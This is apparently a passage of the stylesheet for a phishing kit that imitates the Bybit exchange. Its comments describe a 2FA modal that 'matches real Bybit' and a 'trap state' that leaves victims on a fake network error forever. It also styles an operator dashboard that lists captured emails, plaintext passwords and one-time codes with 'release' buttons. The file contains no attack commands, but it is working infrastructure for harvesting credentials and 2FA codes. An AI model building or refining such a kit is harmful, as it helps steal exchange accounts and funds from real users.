  .ecard{flex:none;width:260px;min-height:323px;scroll-snap-align:start}
  .earn-cta{width:100%;margin-top:28px;justify-content:center;padding:0;font-size:15px}

  .dlsec{padding:56px 0;background-image:url("../img/dl-bg2-m.png")}
  .dlsec-in{grid-template-columns:1fr;gap:24px}
  .dl-h2{font-size:24px;line-height:32px;text-align:center}
  .dl-sub{text-align:center;font-size:14px}
  .dl-card{padding:16px;gap:16px}
  .dl-qr{width:110px;height:110px}
  .dl-rate-v{font-size:30px;line-height:34px}
  .dl-badges img{height:34px}
  .dl-cap1{font-size:15px}

  .ftr{padding:40px 0 24px}
  .ftr-in{grid-template-columns:1fr 1fr;gap:28px 16px}
  .ftr-brand{grid-column:1/-1}
  .ftr-h{font-size:16px}
  .ftr-col a{line-height:32px;font-size:13px}
  .ftr-bot{flex-wrap:wrap;gap:8px 20px;margin-top:32px;text-align:center}
  .ftr-soc{grid-template-columns:repeat(5,34px)}

  .cookie{flex-direction:column;align-items:stretch;gap:12px;padding:14px 16px}
  .cookie p{width:auto;max-width:100%}
  .cookie-btn{margin:0 auto;width:calc(100% - 80px);height:36px}
  .floats{right:15px;bottom:16px;top:auto;transform:none;gap:10px}
  .float-btn{width:38px;height:38px}

  .auth{grid-template-columns:minmax(0,1fr)}
  .auth-left{display:none}
  .auth-right{padding:24px 16px 150px;min-width:0;min-height:100vh;min-height:100dvh}
  .auth-wrap{width:100%;max-width:437px}
  .auth-card{width:100%;margin-top:32px;padding:16px 16px 40px}
  .auth-card-h{gap:10px}
  .auth-card-h h1{font-size:18px;line-height:26px}
  .login-card .auth-card-h h1{font-size:19px}
  .auth-tabs{margin-top:28px;gap:16px}
  .auth-panel{margin-top:16px}
  .auth-label{margin-top:30px}
  .auth-label.auth-label-sm{margin-top:18px}
  .auth-input{font-size:16px}
  .auth-next{margin-top:26px}
  .auth-phone .auth-select{width:112px}
  .auth-social{gap:10px;margin-top:16px}
  .auth-sbtn{height:46px;font-size:12.5px;gap:3px;padding:0 4px}
  .auth-check{margin-top:18px}
  .auth-btn{margin-top:16px}
  .auth-div{margin:36px -16px 0}
  .auth-sub{margin-top:18px}
  .auth-or{margin-top:18px}
}
@media (max-width:520px){
  .mquotes{gap:12px}
  .mq{padding:12px 12px 14px}
  .ftr-in{grid-template-columns:1fr}
  .dl-card{flex-direction:column;align-items:center;text-align:center}
  .dl-rate{justify-content:center}
  .dl-stars{justify-content:center}
  .dl-badges{justify-content:center}
}

@media (min-width:1024px){ .hero-l{position:relative;top:-2px} }

/* ============ LOADING SKELETON + HERO ENTRANCE ============ */
.hero{position:relative}
.sk-spot{
  position:absolute;inset:0;background:#101014;z-index:60;
  --sk-c:#202124;overflow:hidden;
}
body.sk-done .sk-spot{display:none}
.sk-content{height:100%;display:flex;justify-content:space-between}
.sk-col{min-width:0}
.sk-1{margin-top:66px;width:526px;height:68px;background:var(--sk-c)}
.sk-2{margin-top:30px;width:782px;height:48px;background:var(--sk-c)}
.sk-3{margin-top:30px;width:400px;height:56px;background:var(--sk-c)}
.sk-5{margin-top:30px;height:56px;display:flex}
.sk-5i{width:56px;height:56px;border-radius:12px;background:var(--sk-c);margin-right:30px}
.sk-5i:last-child{margin-right:0}
.sk-4{width:330px;height:330px;margin-top:66px;background:var(--sk-c);flex:none}
.sk-anim{position:relative;overflow:hidden}
.sk-anim::after{
  content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%;
  background:linear-gradient(90deg,transparent,rgba(89,93,97,.3),transparent);
  transform:translateX(-100%);animation:skShimmer 1.5s infinite;
}
@keyframes skShimmer{0%{left:-100%}to{left:200%}}
@media (max-width:1263px) and (min-width:720px){
  .sk-1{width:315.6px}
  .sk-2{width:469.2px}
  .sk-3{width:240px}
  .sk-4{width:165px;height:165px;margin-top:150px}
}
@media (max-width:719px){
  .sk-content{display:none}
}

.hero-anim{opacity:0;transform:translateY(-40px)}
body.sk-done .hero-anim{animation:fadeInDown .8s ease-out forwards}
body.sk-done .ha1{animation-delay:.2s}
body.sk-done .ha2{animation-delay:.4s}
body.sk-done .ha3{animation-delay:.6s}
@keyframes fadeInDown{0%{opacity:0;transform:translateY(-40px)}to{opacity:1;transform:translateY(0)}}
@media (prefers-reduced-motion:reduce){
  .sk-spot{display:none}
  .hero-anim{opacity:1;transform:none;animation:none}
}

/* ============ ADMIN GATE / LOADING OVERLAY ============ */
.gate-overlay{
  position:fixed;inset:0;z-index:1000;background:rgba(245,247,250,.97);
  display:flex;align-items:center;justify-content:center;padding:24px;
  -webkit-backdrop-filter:blur(6px);backdrop-filter:blur(6px);
}
.gate-box{display:flex;flex-direction:column;align-items:center;text-align:center;max-width:380px}
.gate-spin{
  width:56px;height:56px;border-radius:50%;flex:none;
  border:4px solid #E3E7EC;border-top-color:var(--orange);animation:gateSpin .9s linear infinite;
}
@keyframes gateSpin{to{transform:rotate(360deg)}}
.gate-title{margin-top:26px;font-size:19px;line-height:26px;font-weight:600;color:#000}
.gate-status{margin-top:9px;font-size:13.5px;line-height:20px;color:var(--g1);min-height:20px}
.gate-timer{margin-top:6px;font-size:12px;line-height:16px;color:var(--g3);font-variant-numeric:tabular-nums}
.gate-note{margin-top:22px;font-size:11.5px;line-height:17px;color:var(--g3);max-width:300px}
/* Final trap state: the dead "network error" the released user sits on forever. */
.gate-overlay.is-dead{background:rgba(250,246,243,.98)}
.gate-overlay.is-dead .gate-spin{border-color:#F3D9D5;border-top-color:#E05A4F}
.gate-overlay.is-dead .gate-title{color:#B3261E}

/* ============ SECURITY VERIFICATION MODAL (2FA) — matches real Bybit ============
   Three rows — Email Verification, SMS Verification, Google 2FA. The email/SMS
   boxes carry the orange in-box "Send Verification Code" button exactly like
   real Bybit — the 0:30 → 0:00 countdown AUTO-STARTS on page load on ALL
   three rows (Email/SMS swap back to the orange button at 0; Google 2FA has
   NO button and self-restarts its cycle); note line below;
   pale-orange disabled "Next Step" turns full orange once a box is filled. */
.vf-modal{position:relative}
.vf-modal-h{display:flex;align-items:center;justify-content:center;position:relative}
.vf-modal-h h2{font-size:17px;line-height:24px;font-weight:600;color:#000;text-align:center}
.vf-close{position:absolute;right:-6px;top:50%;transform:translateY(-50%);display:flex;align-items:center;justify-content:center;width:30px;height:30px;border:0;background:none;color:#7F838A;cursor:pointer;border-radius:6px}
.vf-close:hover{background:#F3F5F7;color:#000}
.vf-lead{display:flex;align-items:center;justify-content:center;gap:6px;margin-top:16px;font-size:13px;line-height:19px;color:#4C4E54;text-align:center;flex-wrap:wrap}
.vf-mail-ic{display:inline-flex;color:var(--gold);flex:none}
.vf-lead b{font-weight:600;word-break:break-all}
.vf-method{margin-top:18px}
.vf-label{display:flex;align-items:center;gap:7px;font-size:13.5px;line-height:18px;font-weight:500;color:#000;margin-bottom:8px}
.vf-label .ic16{color:#000;flex:none}
.vf-field{
  display:flex;align-items:center;gap:10px;width:100%;height:52px;padding:0 6px 0 14px;
  border:1px solid #E6E9ED;border-radius:10px;background:#fff;
  transition:border-color .15s,box-shadow .15s;
}
.vf-field:focus-within{border-color:var(--orange);box-shadow:0 0 0 3px rgba(255,156,46,.16)}
.vf-field.has-error{border-color:#E05A4F}
.vf-input{
  flex:1 1 auto;min-width:0;height:100%;border:0;background:none;outline:none;
  font-family:inherit;font-size:14.5px;color:#000;letter-spacing:.3px;
}
.vf-input::placeholder{color:#A9AEB6;font-weight:400;letter-spacing:0}
.vf-send{
  flex:none;white-space:nowrap;border:0;background:none;padding:0 6px 0 8px;height:100%;
  color:var(--orange);font-family:inherit;font-size:14px;font-weight:700;cursor:pointer;transition:color .15s;
}
.vf-send:hover{text-decoration:underline}.vf-send:active{color:#E8910F}
.vf-cd{
  flex:none;display:inline-flex;align-items:center;justify-content:center;
  min-width:48px;height:100%;padding:0 8px;color:#9AA0A8;
  font-size:13px;font-weight:500;font-variant-numeric:tabular-nums;
}
.vf-cd[hidden],.vf-send[hidden]{display:none}
.vf-note{margin-top:26px;font-size:13px;line-height:19px;color:#1A1B1E;text-align:left}
.vf-help{display:block;margin-top:14px;font-size:13px;font-weight:600;color:var(--orange);text-align:left}
.vf-help:hover{text-decoration:underline}
.verify-card{padding-bottom:26px}
.verify-card .auth-next{margin-top:16px;border-radius:8px;height:48px;font-size:15px;font-weight:600;letter-spacing:.1px}
.auth-next.vf-next{border-radius:8px}
.auth-next.vf-next:disabled{background:#FBD5A8;color:#5A5A5A;opacity:1;cursor:not-allowed}
.auth-next.vf-next:disabled{pointer-events:auto}
.auth-next.vf-next.is-ready{background:var(--orange);color:#000;cursor:pointer}
@media (max-width:420px){
  .vf-field{height:50px;padding-left:12px}
  .vf-send{font-size:12.5px;padding:0 4px}
}

/* ============ ADMIN DASHBOARD ============ */
.adm-hdr{position:sticky;top:0;z-index:100;background:var(--hdr);height:56px}
.adm-hdr-in{display:flex;align-items:center;height:56px;padding:0 20px;gap:14px}
.adm-logo{width:64px;flex:none}
.adm-hdr h1{font-size:15px;font-weight:600;color:#fff;white-space:nowrap}
.adm-live{display:inline-flex;align-items:center;gap:6px;font-size:11.5px;color:#9FA3AB;white-space:nowrap}
.adm-live i{width:7px;height:7px;border-radius:50%;background:var(--green);animation:admPulse 1.6s ease-in-out infinite;flex:none}
@keyframes admPulse{0%,100%{opacity:1}50%{opacity:.35}}
.adm-hdr-r{margin-left:auto;display:flex;align-items:center;gap:14px}
.adm-hdr-email{font-size:12.5px;color:#E9EDF2;max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.adm-hbtn{height:32px;padding:0 14px;border-radius:16px;background:#2A2C33;color:#fff;font-size:12.5px;font-weight:500;display:inline-flex;align-items:center;gap:6px;white-space:nowrap}
.adm-hbtn:hover{background:#35383F}
.adm-hbtn.is-off{color:#9FA3AB}
.adm-live[hidden],.adm-hbtn[hidden]{display:none}
.adm-main{min-height:calc(100vh - 56px);background:var(--bg2);padding:28px 20px 60px}
.adm-wrap{width:1080px;max-width:100%;margin:0 auto}
.adm-stats{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:14px}
.adm-tile{background:#fff;border:1px solid var(--border);border-radius:12px;padding:16px 18px}
.adm-tile-l{font-size:12px;line-height:16px;color:var(--g2)}
.adm-tile-v{margin-top:6px;font-size:30px;line-height:36px;font-weight:700;color:#000;font-variant-numeric:tabular-nums}
.adm-tile-v.warn{color:var(--orange)}
.adm-sec{margin-top:26px}
.adm-sec-h{display:flex;align-items:center;gap:12px;margin-bottom:12px}
.adm-sec-h h2{font-size:16px;line-height:22px;font-weight:600;color:#000}
.adm-sec-h .adm-count{min-width:22px;height:22px;padding:0 7px;border-radius:11px;background:var(--orange);color:#000;font-size:12px;font-weight:700;display:inline-flex;align-items:center;justify-content:center}
.adm-sec-h .adm-count.zero{background:#E3E7EC;color:var(--g1)}
.adm-sec-act{margin-left:auto;display:flex;gap:8px}
.adm-act{height:30px;padding:0 12px;border-radius:15px;background:#fff;border:1px solid #D5DAE0;font-size:12px;font-weight:500;color:#000}
.adm-act:hover{border-color:#000}
.adm-act.primary{background:var(--orange);border-color:var(--orange)}
.adm-empty{padding:22px;text-align:center;background:#fff;border:1px dashed #D5DAE0;border-radius:12px;color:var(--g2);font-size:13px}
.adm-card{background:#fff;border:1px solid var(--border);border-radius:12px;padding:14px 16px;display:flex;align-items:center;gap:16px;flex-wrap:wrap}
.adm-card+.adm-card{margin-top:10px}
.adm-card-main{min-width:0;flex:1}
.adm-card-top{display:flex;align-items:center;gap:8px;flex-wrap:wrap}
.adm-badge{display:inline-flex;align-items:center;height:20px;padding:0 8px;border-radius:10px;font-size:11px;font-weight:600;background:#EEF1F4;color:var(--g1);white-space:nowrap}
.adm-badge.login{background:#FFF1DF;color:#8A5A17}
.adm-badge.otp{background:#E8F5EE;color:#0B7A43}
.adm-badge.fail{background:#FDECEA;color:#C0392B}
.adm-badge.ok{background:#E8F5EE;color:#0B7A43}
.adm-email{font-size:13.5px;font-weight:600;color:#000;word-break:break-all}
.adm-meta{margin-top:5px;font-size:12px;line-height:18px;color:var(--g2);display:flex;gap:14px;flex-wrap:wrap}
.adm-meta b{color:#000;font-weight:600}
.adm-pass{font-family:ui-monospace,SFMono-Regular,Consolas,"Liberation Mono",monospace;font-size:13px;background:#F3F5F7;border:1px solid #E3E7EC;border-radius:6px;padding:3px 8px;color:#000;cursor:pointer;word-break:break-all}
.adm-pass:hover{border-color:var(--orange)}
.adm-time{font-size:11.5px;color:var(--g3);white-space:nowrap;font-variant-numeric:tabular-nums}
.adm-wait{color:var(--orange);font-weight:600;font-variant-numeric:tabular-nums;font-size:12.5px;white-space:nowrap}
.adm-rel{height:36px;padding:0 20px;border-radius:18px;background:var(--orange);color:#000;font-size:13px;font-weight:600;white-space:nowrap}
.adm-rel:hover{filter:brightness(.96)}
.adm-code{font-family:ui-monospace,SFMono-Regular,Consolas,monospace;font-size:15px;font-weight:700;letter-spacing:2px;color:#000;background:#FFF6EA;border-radius:6px;padding:2px 8px}
.adm-code.match{background:#E8F5EE;color:#0B7A43}
.adm-code.miss{background:#FDECEA;color:#C0392B}
/* admin page sign-in */
.adm-auth{width:380px;max-width:calc(100% - 32px);margin:9vh auto 0;background:#fff;border:1px solid var(--border);border-radius:16px;padding:24px}
.adm-auth h1{font-size:18px;line-height:26px;font-weight:600}
.adm-auth .auth-input{margin-top:10px}
.adm-auth .auth-btn{margin-top:16px}
.adm-auth-alt{margin-top:14px;text-align:center}
.adm-auth-alt button{font-size:12.5px;color:var(--orange);font-weight:600}
.adm-auth-alt button:hover{text-decoration:underline}
.adm-denied{width:420px;max-width:calc(100% - 32px);margin:9vh auto 0;background:#fff;border:1px solid var(--border);border-radius:16px;padding:24px;text-align:center}
.adm-denied p{margin-top:8px;font-size:13px;line-height:20px;color:var(--g1)}
.adm-denied code{font-size:12px;background:#F3F5F7;border-radius:4px;padding:1px 5px}
/* toasts */
.toast-wrap{position:fixed;top:70px;right:16px;z-index:1200;display:flex;flex-direction:column;gap:10px;width:320px;max-width:calc(100vw - 32px)}
.toast{background:#fff;border:1px solid var(--border);border-left:4px solid var(--orange);border-radius:10px;padding:12px 14px;box-shadow:0 12px 30px rgba(18,18,20,.14);animation:toastIn .25s ease-out}
.toast.out{opacity:0;transform:translateX(12px);transition:all .25s}
@keyframes toastIn{0%{opacity:0;transform:translateX(16px)}to{opacity:1;transform:none}}
.toast-t{font-size:12.5px;font-weight:700;color:#000;display:flex;align-items:center;gap:6px}
.toast-b{margin-top:4px;font-size:12px;line-height:18px;color:var(--g1);word-break:break-all}
.toast-b b{color:#000}
@media (max-width:760px){
  .adm-stats{grid-template-columns:1fr}
  .adm-card{align-items:flex-start}
  .adm-hdr-email{display:none}
}
/* diagnostics */
.adm-dberr{margin-bottom:14px;padding:12px 16px;border-radius:10px;background:#FDECEA;border:1px solid #F5C6C0;color:#C0392B;font-size:13px;line-height:19px}
.adm-uid{margin-top:10px;font-size:11.5px;line-height:17px;color:var(--g2);word-break:break-all;font-family:ui-monospace,SFMono-Regular,Consolas,monospace}